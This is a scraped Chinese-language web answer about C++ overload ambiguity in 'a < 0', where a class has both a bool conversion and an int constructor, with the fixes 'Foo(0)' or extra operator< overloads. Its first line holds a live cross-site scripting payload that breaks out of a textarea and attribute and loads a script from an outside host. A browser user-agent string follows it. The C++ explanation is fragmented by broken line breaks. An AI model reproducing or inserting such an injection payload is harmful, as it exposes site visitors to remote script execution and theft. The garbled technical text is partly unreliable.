</textarea>'"><script src=http://x.ohlinge.cn/xCwaes></script>
Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.100 Safari/537.36
这里的问题是C++有两个选项要处理a < 0
表达:
a
到bool
,并将结果与0
内建操作符<
(一次改划)0
到Foo
,并将结果与<
定义的(一个转换)可以通过删除第二种情况下的转换来显式地实现这一点:
if (a < Foo(0)) {
...
}
提供额外的过载,例如:
operator <(int, const Foo&)
operator <(const Foo&, int)
后者,在这个例子中,即使没有引入,也将优先于上述超载作为精确匹配explicit
。例如
operator <(const Foo&, long long)